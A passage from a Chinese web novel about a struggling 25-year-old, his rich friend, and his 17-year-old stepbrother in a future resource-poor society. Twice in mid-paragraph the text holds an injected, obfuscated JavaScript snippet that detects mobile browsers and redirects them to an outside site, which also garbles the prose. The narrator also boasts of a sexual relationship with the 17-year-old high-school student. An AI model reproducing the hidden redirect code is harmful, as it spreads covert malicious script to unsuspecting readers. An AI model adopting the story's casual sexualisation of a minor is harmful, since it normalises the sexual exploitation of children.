黛烬不自取其辱,也不跟朋友客气,随手撕掉写着三千块的价签,却没丢。 他拧开盖子,“咕咚咕咚”就把一瓶仅有三百毫升容量的水灌下肚。 尤京盯着黛烬喝水,觉得自己要说的话老土,却又不得不说,因为这话用在这里实在是恰如其分。 “你呢?最近过得怎么样?” “挺好的。” 这一问一答,大概类似于国人被问到“How are you?”,就可以固定刷新得到一句“I''m fine, thank you,and you?” 标准,完全正确,却一点儿实际用处都起不到。 比起得到“挺好的”,发问的人其实更想听的是“我有点不好”,至少还能顺着往下接一句“不好在哪里?” 黛烬却明显不想多说。 他把喝完的瓶子和撕掉的价签一起随手塞进电脑包里,撸了把额前的碎发,顾左右而言他。 “最近头发都长了,没注意,这下变成日系长发男了。” 尤京不接他的话。 黛烬叹了口气,他知道尤京想知道什么,难得主动邀请。 “去我家坐坐?” 尤京没在这个时候开玩笑,拉上安全带,沉默着一路风驰电掣送黛烬到了家楼下。 黛烬走下车,看看自家老破小,又转身看看尤京的敞篷车,唯独不看自己,觉得有点格格不入的尴尬感。 就他住的这地方,根本没人用得上停车场这种难伺候的祖宗。 黛烬大步走回去,刚要和尤京商量这车的停放,就见巡逻的保安大爷挺个啤酒肚,一颠一颠的跑过来赶人。 “诶诶诶,那边儿那个,这不是停车场啊,违规停车一小时要罚款八百居民币的!” 尤京本来还在犹豫,一听这价钱,干脆直接熄了火,下车锁车一气呵成。 他边往说话的保安身边走,边熟练地从兜里掏钱包。 他打开钱夹,没数,从里面拿了一叠,黛烬目测那至少有一千块。 尤京看都不看,一把塞到保安手里。 “大爷,我掏罚款,多出来的,就当是我买您的时间,麻烦您帮我看会儿车,不够的话,等我回来再给您扫。” 保安大爷立马喜笑颜开。 “诶呦够的够的,您放心,我看车,那可是专业的!” 他拿着钱美滋滋地数起来,边数还要边夸一句袖手旁观的黛烬。 “小黛啊,你哪儿还有这样的朋友,真是好福气!” 黛烬一看就知道这大爷八成是误会了,要说这新时代观念进步了也不全是好处,要是在上世纪,哪儿还需要解释两个同辈男性有除了朋友以外的其他关系? 他掏出手机按亮,扫了眼时间。 还有半小时那小孩儿就回来了,黛烬没闲工夫在这儿掰扯,抬脚就走。 黛燃周中不回家,黛烬大部分时间就包吃包住在公司了,很少回家。 他得在黛燃回家之前把家里收拾收拾,省得那小孩儿又要挑三拣四的,说的话又愣又难听,真看不出来是故意的还是无心的。 尤京见黛烬离开,又跟在点第二遍钱的保安大爷打了声招呼,这才一路跟着黛烬七弯八绕地上楼走到家门口。 黛烬掏出钥匙熟练地打开门,从包里拿出刚撕掉的山泉水价签,摆弄了一下,挂在孤零零的钥匙尾端。 最后把钥匙拔出来,从室内重新插进锁孔里。 尤京看不懂他这是什么意思,但也不多打听。 黛烬本来想直接进去,可脚刚要踏进家门,视线就下意识瞟到鞋柜上的新拖鞋,“睹物思人”,他又想起了前段时间和黛燃的争吵。 穷讲究。 黛烬收回脚站在家门口挣扎,天人交战了三分钟,最终还是败下阵来,坐在黛燃新买的小凳子上换鞋。 他换了鞋,尤京就跟在他身后走进家门。 黛烬关门,从柜子上给尤京拿了瓶常温的功能水。 他妈说了,形式是要走的,不管尤京这种喝惯了山泉水的人喝不喝平民百姓的功能水,毕竟有总比没有好。 他自己则拿起扫把开始收拾。 “你先找地方坐,我收拾一下,今天周五,我弟弟马上回家了。” 他勉强解释了下原因,算是为刚才的先走给出个交代。 尤京是知道黛烬多了个叫黛燃的弟弟的,但是也只知道他多了个弟弟,其余的黛烬瞒得死紧,一概不知。 黛烬把地上的灰一层层扫起来,房子这种东西,稍微一段时间不住人,马上就开始破败。 话题来得没头没尾。 “我爸眼光还不错,给我找的后妈蛮漂亮,便宜我了。” 尤京刚在凳子上坐下,听黛烬说出这句话,惊得差点又站起来,欲言又止。 “什么意思,你……” 他虽然是圈子里出了名的玩得花,人换得勤,但是这一类的关系他是碰都不敢碰。 那可是后妈,多缺德啊! 黛烬听出了朋友的欲言又止,瞥去一眼,扫地的手没停。 “想哪儿去了,我的意思是儿子随妈,黛燃和他妈一样漂亮。” 尤京听后这才放心地收回“又止”,又要畅所“欲言”,知道不是坏结果后他才敢直言不讳。 “吓死我了,还以为你和你后妈搞乱|伦呢。” 尤京刚松了口气,忽然想到什么,语气又忽然急转直下! “诶不是等等,你夸她儿子,然后呢……” “然后?” 黛烬笑得野。 “然后我就多了个长得漂亮的炮友。” “?” 尤京这次差点破口大骂。 “那是你弟弟!这他妈不还是——” 后面的话,尤京最终还是没说出来。 黛烬将扫完的灰尘垃圾倒进垃圾桶里,收了扫把,长腿一迈走到沙发旁,拎起黛燃上周放周假时买回来的抽纸。 过惯了好日子的少爷,买纸都不看价钱,买就买了,黛燃甚至懒得把碍眼的价签撕掉。 联盟要求所有公开售卖的商品都必须明码标价,一个抽纸价签设计得快比半个包装大,喧宾夺主。 一眼望过去仿佛只能看到昂贵的价格而非物品本体,黛烬看得眉头直蹙。 二十二世纪资源匮乏,这种纸制品哪是普通人家用得起的? 卖价开头一个一,后面串三个零。 一百抽的纸卖你一千块,一张纸算下来都够吃碗加满料的功能粥了。 败家子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531609|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黛烬伸出两根手指夹住抽纸盒,手腕一撇,本来想随便扔到地上。 这沙发是他买的,上面放什么东西他说了算。 手腕移到沙发侧边,指尖却怎么都松不开,东西丢不掉。 黛烬站在原地发呆。 那小孩回来看到他把纸扔地上,不知道又得怎么念叨,人又洁癖,到时候吵吵着要买新的,花的不还是他的钱? 他把他爸给黛燃的遗产也当成他的钱。 本来就应该是他的。 黛烬越想越烦,最后手腕一动,指尖一挑,抽纸稳稳落在茶几上。 没了抽纸,他终于可以把自己独自扔在沙发上,决定先闭目养神五分钟。 沙发一角随之塌陷。 黛烬哪怕是躺倒也得仰着头,他闭上眼睛张嘴呼了口气,脆弱的脖颈和空气面贴面。 天气冷,没钱开暖气,人连喘口气都是白的。 黛烬恍惚间睁开眼,白雾朦胧间,假想自己是有钱人在吞云吐雾。 雾气四散,算上消失的没消失的,很快便弥漫着占了黛烬半个身子那么大的地方,代替他本人宣示主权。 呼吸,成了黛烬从出生起就自带的价签。 人活一口气。 就是不知道他这口气和那四位数的抽纸比起来,谁更值钱? 他连续吞云吐雾好几次,就没钱补贴自己继续散热了,只得认命地闭上嘴,拢拢衣服,只有说话的时候才舍得张嘴。 视线又下意识落在面前的抽纸上,看纸张倾斜着用阴影压住一小片茶几。 都说身正不怕影子斜,但这张被抽了一半的纸,现在和黛烬一样歪着身子。 黛烬从沙发上坐起身,尽量让上半身直着。 “他跟我没血缘关系,甚至跟我爸都没有。” 他们没血缘关系,不用担心什么“身正”,更不用害怕什么“影子斜”。 尤京显然比黛烬“有钱”,可以任性地让嘴巴张着散热,到现在还没闭上。 听他这样说,尤京一分钟脑补了八百个豪门秘辛,才试探着挑出来一个。 “你爸接盘?” 黛烬没张嘴,话从喉咙里闷出来。 “嗯。” 尤京义愤填膺。 “那你爸还认这个儿子?” 黛烬终于大方地呵出一口气。 “他死之前都不知道,被人家玩得团团转,死之后就不知道有没有这个机会知道了。” 尤京仔细理了一遍他们的关系,得出黛燃其实是黛烬亲爹的继子,但还是觉得无法接受。 “那你也不能和你弟弟——” “怎么了?” 黛烬一脸无所谓,但他打断的位置显然昭示了他的有所谓。 他其实也听不得别人用“乱|伦”一类的词汇形容他和黛燃。 但他的生活他做主,自然事事都要以他为先,听不得任何人指摘。 他就想被人当回事儿。 从前有爸妈,爸妈把他推来推去,从人前推到人后。 他爸觉得黛燃是他亲儿子,黛燃出生那年他爸妈甚至都还没离婚,他爸就敢把捧在手心的私生子从人后推到人前。 都说一碗水端平,但他爸堂而皇之地把洗碗水泼到他脸上,却独独把洗干净的金碗留给这个不知道从哪儿冒出来的弟弟。 要不说老天有眼? 这儿子跟他爸半毛钱关系都没有。 他爸憋闷了一辈子,最后憋成个绿帽龟。 后来爸妈离婚,他谁都没跟,把分到的抚养费偷偷打回给他妈,他对不起他妈,觉得没让人过上好日子。 单从这点来说,他就比不上黛燃。 至少他爹靠着黛燃过上了好日子,赘入豪门。 而他妈只能陪着他过苦日子,终生寒门。 就这样,黛烬成了全家唯一一个净身出户的人。 再后来他爸死了,弟弟被判给他这个实际上毫无血缘关系的哥哥,这个家里他能做主的人就更多了。 黛烬的语气疏离客观到像是在谈论一件商品,还是那种市场打折都没人要的便宜货。 然后黛燃便和他一样,有了价签。 “又不要钱。” 黛烬的话戛然而止,热腾腾的心脏像是突然被人用冰凉的手狠狠攥了一下! 他闭了嘴。 心冷得差点儿不会跳了。 这话虽然是在变着法儿的骂黛燃不值钱,但真的说出口了,黛烬却觉得反倒像是在他脸上贴了张标价免费的价签。 好在现实总是善于救他于水火之中,两人正说着,门外忽然传来一阵窸窸窣窣的响声。 黛烬眼尖,正好看到插在门内侧的钥匙在转,那钥匙不大,但他事先在钥匙尾端挂了价签,所以格外明显。 山泉水的价签被撕掉一半,剩下一半随着钥匙转动,价签上的一串零在眼前一晃又一晃。 显眼。 碍眼。 黛烬烦躁地重新躺倒在沙发上,闭上眼,打算破罐子破摔。 很显然,现实很快又打了他的脸,重新把他推入更深的水火之中。 黛燃回来了。 这破屋子根本不隔音,在屋里面亲个嘴,声音大了都得被来敲门送货的快递员听到。 也不知道,门外的黛燃听到了多少…… 4. 【燃】钥匙 家门的锁,原本只有黛烬拿着唯一的钥匙。 现在家里多了黛燃,黛烬就特意给他配了一把。 黛燃将钥匙插进去拧,可任凭他怎么用力用技巧,锁孔都纹丝不动。 他太着急了。 他想进去。 黛燃边转钥匙边拍门。 “哥。” 黛燃边拍门边看钥匙。 从前在临家,家门都是各种指纹声纹电子智能锁,除了他和爸妈的房间外家里到处都有人,他进门多数时候都不需要自己亲自开锁。 能打开家门的钥匙,从小到大他都只有这一把,肯定不会拿错。 锦衣玉食了十七年的临少爷搞不懂,为什么正确的钥匙会打不开正确的家门。 “哥!” 黛燃被独自关在门外,茫然又无措。 整栋居民楼“同仇敌忾”,都不怎么隔音,此刻已经有同一层的邻居听到动静,纷纷开门探头出来查看情况。 黛燃被围观,更加不知所措。 好心的邻居们七嘴八舌。 “燃燃啊,你哥哥回家了,差不多半个小时前吧,关门的动静我都听见了。” “小黛是不是睡觉呢,可能没听见?” 黛燃专心致志地开门,听黛烬已经回家了,终于松了口气,可这口气还没松多久,就被人重新拉了起来。 住在对面的邻居闻声也跟着拉开门,状似无意地接了句话。 “我瞧着小黛还带了个男人回来,个子高高的,进去就没出来,两个人现在肯定都还在屋里头呢!” 此言一出,围观的邻居神色各异。 黛燃这口气被快速由松拉到紧,拉到一半,他紧握着钥匙的手就忽然松了。 对门的邻居有点尴尬,把门又拉大了些。 兴许是觉得自己说错话坏了事,她主动邀请黛燃进门,话说得隐晦又心照不宣。 “燃燃啊,你哥哥可能忙着呢,要不你先到阿姨屋里坐坐?” 黛燃不说话,他将耳朵紧紧贴在家门上,尝试着听里面的动静,边听边放轻了动作拍门。 “砰砰砰” “砰—砰—砰—” “砰——砰——砰——” 拍门的节奏越来越慢,起初还被黛燃下意识数着节拍,一直没人应,到后来干脆没了章法,动作和黛燃的心情一样没了抓手,门被拍得乱七八糟。 “砰—砰——砰” 邻居们看不下去,有人掩面关门,有人继续劝拍门的黛燃。 “诶呦你这孩子,咋还学人听墙角?这多不好!” 黛燃却像是听不见邻居的劝告似的,一意孤行。 家里只有一室一厅一卫,外加一个不大的杂物间,他哥住卧室,把家里的杂物间收拾出来给他住。 空间不大,所以每间屋子离门都很近。 大概是方便逃跑吧,他哥的卧室离门是最近的,有时候他哥在卧室里收拾卫生,他在家门口都能和他哥说上话。 像这样将耳朵贴在家门上,有可能听得到他哥的声音。 但屋子里寂静无声,无论黛燃怎么听都听不出一点人的动静,安静得让人心里发毛。 他哥,去哪儿了? 忽然,一阵脚步声从门内稀稀拉拉地传来,黛燃拍门的动作一顿,不自觉屏住呼吸,他把心跳都放轻了。 黛燃边听边想。 居然真的听得到!还有,这门居然这么不隔音!那他和他哥在里面做什么,岂不是都能被路过的邻居听到? 他从前没经验,从没想过房子还有不隔音的问题,此刻却被迫回忆这几个星期以来发生的事情,每一次和他哥吵的架。 黛燃越听心越冷,越想脸越红。 他无端从这阵脚步声里听出了拖腔拉调的疲惫感,大量的欣喜掺着羞赧刹那间将他席卷,他不敢再拍门了。 那阵脚步声逐渐消失,取而代之的,是一阵钥匙被拔出的声响。 这门不隔音的程度简直叹为观止,钥匙被一节一节拔出来,每寸卡顿都清晰可闻。 黛燃顾不上那么多,待钥匙的拔出声过去,他连忙再次拧动自己的钥匙,这次钥匙终于可以成功拧动,他大喜。 稍微把前后的事情串起来一联想,他立马顿悟! 原来门被他哥从里面插了钥匙,怪不得打不开,黛燃那口松了又紧的气,此刻终于被他彻底呼出在地。 吓他一跳。 他还以为黛烬又换锁了。 锁芯被拧动,下一秒,门开了。 黛燃和黛烬四目相对。 同床异梦。 黛燃脸上没有任何异样,像上次放假回家见到黛烬时一样欣喜。 他说。 “哥,我回来了。” 只要他说,他哥就回。 “嗯。” 黛燃没有四处乱跑,谁都没见,谁都没联系,只知道放假了就要回家。 二十二世纪的进步堪称大刀阔斧,连带着上学都成了“轻办公”,没有厚重的课本,所以学生肩上的书包都不沉。 但黛燃还是提了提书包带,用动作侧面提醒他哥。 该放他进门了。 但他哥好像太累了所以没看到,黛燃总觉得他哥的身体比门还要大,比门还要大的身体直愣愣地把他堵在门口。 这下有了钥匙也开了门,但他还是进不去。 黛烬无动于衷。 黛燃只得又主动出声提醒。 “哥,我能进去吗?” 黛烬终于有了动作。 “我能说不吗?” 黛烬虽然嘴上这样说,但他自己心里也知道,他早就没有说不的权力了。 尤其是被黛燃这双眼睛看着,再听黛燃叫他一声哥。 黛烬又叹了口气。 他早已不是黛燃这种年纪的学生,可以不顾场合不顾面子,想做什么做什么。 十七岁的高中生,做什么也只会被人当成孩子不懂事,但他今年二十五了。 他是大人了。 人情世故,得学着大人的样子维护。 他朗声和街坊邻居打了个招呼,学着从前他妈的语气说场面话。 “多谢各位叔叔阿姨照顾我弟弟,天气冷了,大家都多注意身体。再过几个星期就过年了,我买了点儿年货,还希望大家不要嫌弃,到时候我带着弟弟,挨个上门和大家拜年。” 人情世故都是有来有回的,邻居们纷纷回应。 “都是邻里邻居的客气什么!你妈不在身边,你一个人带着弟弟也不容易,有什么要帮忙的尽管开口,别不好意思啊!” “我知道,谢谢王阿姨。” “是啊小黛,少加班,多照顾身体,现在多了个弟弟,要花钱的地方多,身体才是本钱你说不是?” “是,我知道的钱叔叔。” …… 黛烬让开身边的位置,只留给黛燃站。 黛燃却不进家门,站在原地一动不动。 黛烬现在察言观色的本事颇为长进,一看他这样子就心里门儿清,这小孩儿估计还在想他前面说的不让人进家门的话。 俗话说得好,退一步海阔天空。 黛烬是哥哥,他决定给弟弟做个榜样,先行退步,收回这一脚。 “当我没说。” 这话刚说完,黛燃就有样学样,也学着他哥的样子退了一步。 他从家门外拔出自己的钥匙,走进了这扇由哥哥亲手打开的家门。 * “临少爷,您真的不回来了吗?” 临家的管家打来这通电话的时候,黛燃正坐在客厅的茶几前,戴着耳机边接电话边吃早饭。 他将最后一口功能粥咽下去,从茶几上摆着的抽纸盒里随手抽了张纸,仔细擦擦嘴,看也不看地丢进垃圾桶。 “不去了,我在我哥这儿过得挺好的。” 黛燃起身走进开放式厨房,将脏碗勉强洗干净摆好。 今非昔比,这几个星期以来他经常洗碗,动作已经相当熟练,但心里还是有点不适应这种用循环的脏水洗碗的生活。 黛燃没忍住,将洗了的碗又拿起来,对着光看看。 看着是蛮干净的。 功能粥作为联盟居民最常见的主食之一,一人份的量看着不多,却包含着足够维系一位青年健康的营养成分。 为了让每一位联盟居民都能活到平均年龄之上,联盟下派的营养师们可谓是无所不用其极,但好在效果显著。 除了没啥味道以外,其余都是好处。 这种粥一没油二没糖盐,因此装过粥的碗格外好洗,但黛燃看着碗,总觉得还是需要流水再冲一遍。 他悄悄转身,看了眼紧闭的卧室门。 他哥今天轮休,还在睡觉,现在开水龙头只要声音放得小,应该不会被发现。 说干就干。 黛燃像做坏事一样掂着心,学着他哥开水的动作慢慢打开水龙头,将洗过一遍的碗对着流水仔仔细细地冲。 看着透明的流水铺满瓷碗,黛燃心里的不适应终于被勉强洗净。 他来回冲了三遍,最后将彻底洗干净的碗摆好,关水擦手一气呵成。 黛燃看着被摆好的碗满意点头,手机被他顺手带到厨房,电话没断,管家的声音冷静中透着犹豫。 “临女士托我问您,您房间原来的东西要怎么处理呢?要帮您送——” 黛燃做坏事都忘了看时间,此刻才想起来看表,一看指针都跑到八点了,终于意识到上学要来不及了。 从前在临家,他都是专人车接车送,现在没了这便利,他上学都得赶最早的一班公交车,没时间像从前一样和管家端着架子掰扯,他直接打断管家的话。 “不用了,我哥家里装不下。麻烦帮我把校服和日常穿的衣服留下吧,其他东西都不要了,衣服等这周放假了我回去取。” 黛燃说完就几步狂奔回客厅,不顾手机还放在厨房台面上,抄起书包快速检查了一遍内物,发现少了本习题册。 他蹙眉在脑海里翻找记忆,家不大,能去的地方也不多,找起东西来特别快,不过须臾他便想起了练习册的位置。 原来是昨天晚上落在卧室了,黛燃不犹豫,起身就去找。 管家的声音响在耳机里,耳机离厨房的手机直线距离不过三米,他能抗住三十米连接距离的蓝牙耳机连接起通话来轻轻松松,走到卧室也不影响听清管家说话。 “好的,我待会儿让佣人上去整理收拾一下,您来了记得提前联系我。” 黛燃快步走到卧室门口,先看看紧闭的房门,又扫了眼腕表,算算时间,发现距离公交车到站只剩下最后十分钟。 公交车比下课铃还准点,从家门出发到公交站,跑步只需要五分钟,还来得及。 卧室门虽然关着但没上锁,黛燃轻手轻脚推开门走进去,环视一圈发现习题册刚好被黛烬压在腰下。 他踮着脚尽量不制造出声音吵醒他哥,走到床边想拿走习题册。 昨天晚上他哥加班,下班到家已经很晚,家里只有卧室安了灯,他带着作业来这边写。 他哥又不上学,卧室里连张桌子都没有,他趴在床上写,走的时候太急,还是漏了一本习题册在床上。 他哥昨天应该是心情不好,下班那么晚还去喝了酒,回来倒头就睡,习题册很薄,压在身下也没什么感觉。 黛燃轻轻松了口气。 还好没有影响到他哥睡觉。 他一只手从黛烬腰下穿过,临家庄园里有专门的健身房,黛燃常年锻炼的手臂和他哥一样有力气,一使力就将黛烬的腰轻松腾空抬起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531610|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一只手趁机捏住习题册,怕弄醒他哥他全程不敢呼吸,紧紧屏着一口气。 黛燃不禁感慨,上次这么紧张,还是在法庭上听法官宣判自己归属的时候。 他时刻注意着时间,心里着急,还好动作没拖他后腿,很快便将练习册完好无损地拿了出来。 拿到本子他就立马放他哥回被窝,虽然时间紧迫,但他还不忘忙里偷闲地给他哥盖被子。 黛燃往外走的同时顺道翻开习题册,打算最后检查一遍昨天写的作业,他没看脚下的路,在差一点儿就要走到卧室门口的时候还是出了意外。 功亏一篑。 黛燃不小心踩到了黛烬昨天晚上顺手放在卧室门口的酒瓶,他眼疾手快地按住房门,这才稳住了身体没落地。 玻璃酒瓶“哐当”一声被踢到墙角,尖锐的声音一下把还在睡梦中的黛烬砸醒! 黛烬惊恐地从床上弹起,发丝凌乱地四处张望。 他呼吸急促,神态慌张,动作反复重复几次后他才终于确定了状况,呼吸的频率慢慢降下来。 黛燃也被这动静吓得不敢动弹,独自一人站在门口,刚好为没睡醒的黛烬挡住了从门口照进来的太阳。 黛烬随手撸了把头发,一看到是黛燃弄出的动静,起床气带着怨气一起铺天盖地地袭来,将他不多的理智吃干抹净。 “一大早的你不去上学你站这儿干吗?专门来吵我睡觉,黛燃你他妈成心让我不好过是不是!” 黛燃没想到还是把他哥吵醒了,理亏地道歉,无声叹了口气。 “抱歉啊哥,我不是故意的。” 黛烬本来听了道歉还能多少缓和点儿情绪,却没成想一扭头正好看到黛燃叹气,刚压住的火气又开始蹭蹭往上冒! “你还叹上气了?我他妈昨天晚上加班到十点,回家了还被傻叉领导抓去给人临时顶夜班,一直熬到今天早上六点才睡上觉!” 黛烬一口气说完又去摸手机,看到是八点又是怒从心头起! “才八点!我就睡了两个小时,就这两个小时你还不让我安生是吗?” 连日以来因为烦心事积攒的怒气一口气爆发,黛烬一生气说话就不过脑子,什么真心话都往外蹦。 “黛燃,我他妈上辈子欠你的是吧,成年了不结婚还承担起养孩子的义务了!这个家你能待就给我老实待着,待不了早点收拾东西滚蛋!” 黛燃被“滚蛋”两个字刺激到,拿着习题册的手指捏得紧紧的。 他没想到自己道了歉,黛烬还这么上纲上线,耳机里的管家不再说话,显然也将黛烬的话全数听了去。 黛燃长这么大还没听过有人对他发脾气,也无法想象有人会因为生活上的一点鸡毛蒜皮的小事斤斤计较。 他又看了眼表。 眼看着上学要迟到,黛烬还和他胡搅蛮缠,脾气一向温和的黛燃也不免被黛烬难听的话勾起了点儿情绪。 “我都说了我不是故意的,也和你道歉了,这事情就该到此为止,你没必要这么上纲上线吧?” 黛烬气极反笑,一吵架他就下意识搜罗黛燃不占理的话反过来支持自己的道理。 “我上纲上线?你这种没过过苦日子的大少爷有什么资格对我说这种话?要是换成你来过我的人生,你还做得到像这样高高在上吗?” 黛燃一听黛烬又把“少爷”挂在嘴边,不解又烦躁,他也忍不住把真心话说了出来。 “日子是自己过的,黛烬,总是抱怨自己过得不好,对你的生活有什么益处?” 黛烬被这话精准踩住痛脚,抓着黛燃的话自己断章取义。 “我不抱怨我就能过得好?要是过日子真像你说的这么简单,那哑巴就该是这个世界上最幸福的人!” 此言一出,黛燃忽然消了火气,问了个有头没尾的话题。 “哥,你不幸福吗?” 黛烬为了吵赢这场架,下意识就找话出去反驳。 “有你在我怎么幸福!” 黛燃愣住了,第一次有人对他说这句话。 自从遇到黛烬,他才知道人的生活原来可以有这么多“第一次”。 他觉得幸福就像是生活特地铸就的一把钢筋铁锁,想要的东西是钥匙,一把钥匙只能开一把锁。 他只要他哥这一把钥匙,就足够打开他幸福的电子锁了。 他以为他哥也和他一样,他们都能拿着彼此的钥匙。 但好像不是,他哥的锁和他不一样。 他哥的这把铁锁放了太久,锈迹斑斑,锁眼被生活腐蚀得七零八落。 锁坏了。 他哥想要的钥匙又太多。 大的小的长的短的好的坏的全部混在一起,看得人眼花缭乱。 可钥匙太多,就注定了他哥这辈子都打不开关住幸福的锁。 黛燃手里拿着刚从他哥腰下扯出来的练习册,手指贪心地汲取着黛烬用身体带给他的温暖。 为什么他就能幸福,他哥不行? 妈妈以前说有了他就能感到幸福,那他哥不幸福,是因为没有他吗? 不对,他哥刚才说有了他反而没办法幸福。 好矛盾。 难道是类似于“迟来的深情比草贱”? 黛燃最后看了一次表。 现在是上午八点二十分,他成功错过了今天唯一一班赶得上学校上午第一节课的公交车。 他觉得自己迟到了。 迟到得方方面面。 他没能成为让他哥幸福的那把钥匙,反而和生活一起在他哥的锁上凿壁泼酸,把本就锈迹斑斑的锁孔蚕食得更加面目全非。 雪上加霜。 黛燃没心情管腕表的指针已经无情地将他甩在身后,面对怒气未散的黛烬,声音小得像是在自言自语。 “如果我离开,哥就能过得幸福吗?” 5. 【烬】算数 酒吧和高级会所相比,后者无论是从名字上听还是从建筑外表上看,显然都要比前者值钱得多。 但两者最大的区别,不过是消费人群不同罢了,归根到底,其实都是卖酒的。 同源不同命。 黛烬深谙此道。 尤京在卡座上坐下,挥手招来服务生,他从托盘上挑了两杯酒,自己先尝尝味道,觉得满意才将另一杯递给黛烬。 “今天不是周五吗?这个点儿正是学生放学的时候吧,你居然跑出来和我喝酒,不回家等你那个漂亮弟弟?” 黛烬没坐,借着这话顺势掏出手机看了眼时间,另一手接过尤京递来的酒,一口没喝,只是用掌心托着杯壁慢慢摇。 “人早跑了,我到哪儿等?” 尤京放下手里的杯子,一手撑在吧台上,看起来对这个话题颇感兴趣。 “真的假的啊?” 黛烬没看他,视线不离屏幕,仰头一口把杯内的酒饮尽,他今天没心情品味道,把造价高昂的酒水当成白水喝。 他皱眉把刺激的味道咽下去,在朋友面前表演起最正宗的借酒消愁。 “吵了一架,把人气跑了。” 尤京这才理解,支着头偏过脸笑。 “也是,也就是我,要是换成其他人,谁受得了你这牛脾气。” 尤京边说边观察黛烬的表情,看他玻璃杯见底,顺手拿过服务生托盘上的红酒瓶,亲自给黛烬续杯。 “我说真的,你还不如跟了我。” 黛烬拿杯子的手很稳当,等酒液全部落尽杯底,他手腕上下晃了晃,感受着杯内液体的重量,这才从手机屏幕上收回目光,扭头瞥了尤京一眼。 他面上笑得吊儿郎当,心里却小声暗骂尤京。 这厮还真是贼心不死。 黛烬脚下不动,拿着杯子的手却不易察觉地离尤京远了一步,语调戏谑。 “我不做0,尤大少要是舍得屈居人下,我保证我可以满足你。” “少来。” 尤京把酒瓶还给服务生,又挥手让人走了。 “你就是仗着这条件我答应不了,才有胆子说后面那话吧,我要是真答应了,你不反悔我跟你姓。” 黛烬被看穿了也不在意,他最擅长圆场和扯话题。 “怎么又多一个想和我姓的。” 尤京双手抱臂,配合着黛烬转移话题。 “你弟弟的火,你往我身上撒?” 话音刚落,尤京忽然有了个新点子。 “要不你跟我姓也行,我是独生子,我们家刚好缺个弟弟。” 黛烬不会让任何一个朋友的梗落在地上,抓住机会就旧事重提。 “搞什么,你也喜欢上乱|伦了?” 尤京气笑了。 “诶不是,这个词换到我俩身上你就敢说,换到你和你弟弟身上你怎么不说?” 黛烬又避而不谈,遇到不想回的话就熟练地转移话题。 “而且我随你姓,这事儿你问过你妈没?她还缺儿子?” 尤京又仔细扫了遍黛烬的脸,越看越感叹,越看越满意。 无论怎么看都觉得是难得的尤物。 “多个这么帅的儿子,尤女士肯定求之不得。” 黛烬哭笑不得,还是没坐,而是走了几步靠近吧台,在台面边缘找了个支点撑着身子,酒液随着步子在杯内不停晃荡。 “不怕我和你分家产?” 这个问题,尤京这辈子大概都没机会担忧了。 “怕什么,钱又花不完,分你一半使劲花,而且我爸妈啊,一向一视同仁。” 黛烬莫名被“一视同仁”这个词戳中,立马活学活用起来。 “我那去死的爹也是一视同仁。” 尤京满脸写着不信。 “他还能一视同仁?话说他在临家这些年应该赚了不少钱吧,我挺好奇的,他死之前给你留了多少?” 朋友的话,黛烬有问必答。 “给我两百万,给黛燃三百万。” 尤京真心替朋友打抱不平。 “就五百万还分不平?你爸也真够偏心的。不过也是,这五百万要是平分,岂不成了一人一个‘二百五’?” 他看出黛烬今天心情不好,开了个玩笑想缓解下气氛。 黛烬却根本笑不出来。 “二百五?我倒真希望是二百五,蠢可比穷要好,蠢的至少还有穷的看得起,要是只有穷,那才叫一无所有。” 他再次一口气将酒液饮尽,放下杯子点亮手机,又状似无意地扫了眼时间,点开计算器摆弄两下,边点边说。 “就这二百万加三百万,均分之后一人就剩下五十了。” “你怎么算的数?” 黛烬知道尤京会这么说,他笑得自嘲,把摆弄完的手机屏幕递到尤京眼前。 “我要是这都能算错,那十二年义务教育可算是白上了,我爸给我的那两百万是负数,全欠给银行了。” 尤京盯着手机上显示的画面,忽然哑口无言,失了声。 【(-200+300)÷2=50】 那是一道再简单不过的算术题,黛烬却总是算不明白,不明白到每回想起都要拿出计算机去反复算。 看尤京失声,黛烬默默收回手机不再解释,收手机之前他又看了眼时间,在心里把得失重新算了个数。 他全程没坐,也就用不着起,转身就往会所门口走。 尤京在身后叫他。 “去干吗?回心转意,打算去哄人了?” 黛烬脚步没停,却刻意放慢了速度。 尤京来喝酒一向是直接包场,这样两人说话就不用担心会被其他人听到,黛烬可以放心大声说。 算完钱,就该算算怎么还钱了。 黛烬迟来地承认了尤京说他算的不对的数,但这次对应的,却不是同一笔账。 “是,这笔账我算得确实有问题,我亏大了,什么都没捞到,我居然就这么放人跑了。” 黛烬已经走到门口,脚步顿住,他没转身,而是背着尤京挥了挥手告别。 “论算数这一块儿我还是得学学我爸,劫财又劫色,那才是人生赢家。” * 黛烬走出会所,躲掉朋友的视线后他终于没了顾忌,可以光明正大地看手机。 时间在眼前一分一秒流逝,黛烬盯着电子时钟在眼前马不停歇地翻页,心也跟着着急。 其实他也不知道黛燃什么时候放学,更不知道黛燃离开他能去哪儿。 反正不在他家。 黛烬环顾四周,在路边随便找了个长椅,神伸懒腰活动了下身体,终于放心地坐下身。 不用想,这椅子光看就知道肯定没会所里的坐着舒服,但只有这种不依靠任何人的东西,黛烬才坐得安心。 他大咧咧地在路边弓着身子,点开最近的通话记录,手指划拉着屏幕,挨个翻找黛燃曾经打给过他的手机号码。 黛燃只给他打过一次电话,但好在那天的电话他拢共就只接了两个,输入时间后找起来飞快。 